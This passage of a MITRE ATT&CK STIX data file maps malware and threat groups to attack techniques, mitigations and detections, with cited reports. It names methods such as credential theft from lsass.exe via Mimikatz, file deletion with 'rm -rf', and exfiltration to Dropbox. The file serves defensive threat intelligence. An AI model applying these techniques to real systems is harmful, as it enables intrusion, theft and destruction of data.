2020)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9bf9268-1c45-4293-a5c2-c493556ad546","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2021-10-09T19:14:07.283Z","description":"[Dok](https://attack.mitre.org/software/S0281) downloads and installs [Tor](https://attack.mitre.org/software/S0183) via homebrew.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--f36b2598-515f-4345-84e5-5ccde253edbe","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9c1c589-b5c6-4231-982f-cae0aa41f349","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Calisto July 2018","description":"Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.","url":"https://securelist.com/calisto-trojan-for-macos/86543/"}],"modified":"2020-01-17T19:33:17.969Z","description":"[Calisto](https://attack.mitre.org/software/S0274) has the capability to use rm -rf to remove folders and files from the victim's machine.(Citation: Securelist Calisto July 2018)","relationship_type":"uses","source_ref":"malware--b8fdef82-d2cf-4948-8949-6466357b1be1","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a9c366b6-270d-4884-86dd-7c048460741b","created":"2020-05-08T17:01:36.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.223Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has used the Farse6.1 utility (based on [Mimikatz](https://attack.mitre.org/software/S0002)) to extract credentials from lsass.exe.(Citation: Group IB Silence Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a9df6783-2c1d-417b-8cee-d9738416a183","created":"2022-04-01T14:41:48.725Z","x_mitre_version":"1.0","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) has been used to execute `net view` to discover mapped network shares.(Citation: NTT Security Flagpro new December 2021)","modified":"2022-04-13T20:23:29.589Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9e6a51e-69b1-4b21-9db1-5aabdded2f0a","type":"relationship","created":"2020-05-15T16:50:05.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FSecure Lokibot November 2019","url":"https://www.f-secure.com/v-descs/trojan_w32_lokibot.shtml","description":"Kazem, M. (2019, November 25). Trojan:W32/Lokibot. Retrieved May 15, 2020."}],"modified":"2020-05-18T22:00:40.779Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has the ability to discover the computer name and Windows product name/version.(Citation: FSecure Lokibot November 2019)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9ebd162-da0a-4582-ba63-6bb54e165730","type":"relationship","created":"2020-05-06T21:01:23.493Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.493Z","description":"One of [Attor](https://attack.mitre.org/software/S0438)'s plugins can collect user credentials via capturing keystrokes and can capture keystrokes pressed within the window of the injected process.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9f79f14-d160-4be5-8bbe-ad0b52770b9f","type":"relationship","created":"2019-07-18T15:36:27.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T12:11:17.020Z","description":"Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) opportunities can limit the exposure to this technique.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9f9bef5-31f0-44bf-bba5-4c13a5eda5ac","type":"relationship","created":"2020-07-01T21:05:18.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-01T21:30:17.406Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) can persist via a LaunchDaemon.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a9fe98cb-cf51-49b0-b86b-9440ba964f8d","created":"2022-03-30T14:26:51.845Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed active directory objects, such as Windows EID 5137.","modified":"2022-04-28T14:58:33.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--18b236d8-7224-488f-9d2f-50076a0f653a","target_ref":"attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9fedca4-fd68-4e3f-a564-cb9c168a8e4e","type":"relationship","created":"2021-04-20T13:11:26.237Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-04-20T13:11:26.237Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has exfiltrated stolen data to Dropbox.(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa045472-7c41-49c5-af44-4df9cf1fa073","type":"relationship","created":"2020-05-26T21:02:38.500Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Netwalker May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/","description":"Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."}],"modified":"2020-06-08T16:07:36.282Z","description":"[Netwalker](https://attack.mitre.org/software/S0457) can use Windows API functions to inject the ransomware DLL.(Citation: TrendMicro Netwalker May 2020)","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aa0819dc-ed46-4908-af81-cdcd5c4d1845","created":"2024-01-22T18:19:33.731Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-22T18:19:33.731Z","description":"[LoFiSe](https://attack.mitre.org/software/S1101) can collect files of interest from targeted systems.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--452da2d9-706c-4185-ad6f-f5edaf4b9f48","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa0e4bee-a9a4-4d32-bb62-f024058842c6","type":"relationship","created":"2020-07-29T20:12:10.924Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."},{"description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group","source_name":"Symantec MuddyWater Dec 2018"}],"modified":"2020-07-29T20:13:49.863Z","description":"(Citation: TrendMicro POWERSTATS V3 June 2019)(Citation: Symantec MuddyWater Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa103bc8-1753-4b41-bf5c-a9dc0b9a2986","type":"relationship","created":"2020-03-09T14:12:31.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-26T17:13:07.469Z","description":"Use application control where appropriate.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa12e2a6-02e7-4001-af7b-6a60021ddbfd","type":"relationship","created":"2020-05-12T22:21:54.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye MESSAGETAP October 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html","description":"Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who’s Reading Your Text Messages?. Retrieved May 11, 2020."}],"modified":"2020-06-24T01:43:11.352Z","description":"[MESSAGETAP](https://attack.mitre.org/software/S0443) stored targeted SMS messages that matched its target list in CSV files on the compromised system.(Citation: FireEye MESSAGETAP October 2019)","relationship_type":"uses","source_ref":"malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa14aefc-cb6c-4230-9f45-00e77faff0c1","type":"relationship","created":"2021-02-12T20:07:43.102Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dragos EKANS","url":"https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/","description":"Dragos. (2020, February 3). EKANS Ransomware and ICS Operations. Retrieved February 9, 2021."},{"source_name":"FireEye Ransomware Feb 2020","url":"https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html","description":"Zafra, D., et al. (2020, February 24). Ransomware Against the Machine: How Adversaries are Learning to Disrupt Industrial Production by Targeting IT and OT. Retrieved March 2, 2021."}],"modified":"2021-05-04T18:06:34.397Z","description":"[EKANS](https://attack.mitre.org/software/S0605) stops processes related to security and management software.(Citation: Dragos EKANS)(Citation: FireEye Ransomware Feb 2020)","relationship_type":"uses","source_ref":"malware--00e7d565-9883-4ee5-b642-8fd17fd6a3f5","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa158d48-a9f5-49bb-8f15-166705f29b36","type":"relationship","created":"2019-10-04T22:01:16.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html","source_name":"Talos Nyetya June 2017"},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-30T17:38:42.826Z","description":"[NotPetya](https://attack.mitre.org/software/S0368) will reboot the system one hour after infection.(Citation: Talos Nyetya June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aa206b5b-9ea2-4f68-a4a0-4060e760c2cd","created":"2023-04-15T16:20:06.057Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:20:06.057Z","description":"Limit network access to sensitive services, such as the Instance Metadata API.","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa23c885-30a5-4715-bf64-7ccbfaba9131","type":"relationship","created":"2020-03-09T17:10:31.149Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-08T21:02:16.050Z","description":"Disable Bluetooth in local computer security settings or by group policy if it is not needed within an environment.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--aa256f57-243f-4a52-90c9-8f9037a28fe2","created":"2022-06-09T19:52:03.054Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[OutSteel](https://attack.mitre.org/software/S1017) has relied on a user to execute a malicious attachment delivered via spearphishing.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:52:03.054Z","relationship_type":"uses","source_ref":"malware--c113230f-f044-423b-af63-9b63c802f5ae","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa26d89c-7c7d-449a-a26a-caa37573698e","type":"relationship","created":"2021-04-20T16:56:17.499Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-04-20T16:56:17.499Z","description":"[Sibot](https://attack.mitre.org/software/S0589) executes commands using VBScript.(Citation: MSTIC NOBELIUM Mar 2021)\t","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aa283df3-ef43-4eae-8137-d397f4a0595d","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T15:27:34.536Z","description":"If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa2cd10c-5062-4abb-a8ec-0e178a5440ec","type":"relationship","created":"2020-02-20T18:39:33.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T19:55:01.726Z","description":"Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aa2e1086-00f6-45f3-9159-72f2cfd50001","created":"2023-07-27T20:37:58.616Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.956Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has remotely accessed compromised environments via Remote Desktop Services (RDS) for lateral movement.(Citation: Mandiant FIN13 Aug 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aa308c15-3c8d-4df7-a6b2-0a4f61ef8d03","created":"2023-09-22T19:39:34.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T19:42:32.078Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) directed victims to run remote monitoring and management (RMM) tools.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa3e7625-07e1-474f-967a-15e26e1a193c","type":"relationship","created":"2019-09-24T14:19:05.333Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:02.404Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) has a command called RunAs, which creates a new process as another user or process context.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa4038e3-451f-4ad7-acc7-5c971825967b","type":"relationship","created":"2020-05-13T19:39:41.704Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2020-05-14T14:30:09.500Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) saved malicious files within the AppData and Startup folders to maintain persistence.(Citation: Kaspersky MoleRATs April 2019)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aa444f15-777c-4bf6-819b-f03476d59401","type":"relationship","created":"2021-09-28T19:55:11.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Qakbot May 2020","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021."},{"source_name":"Crowdstrike Qakbot October 2020","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."},{"source_name":"Trend Micro Qakbot December 2020","url":"https://success.trendmicro.com/solution/000283381","description":"Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021."},{"source_name":"Cyberint Qakbot May 2021","url":"https://blog.cyberint.com/qakbot-banking-trojan","description":"Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 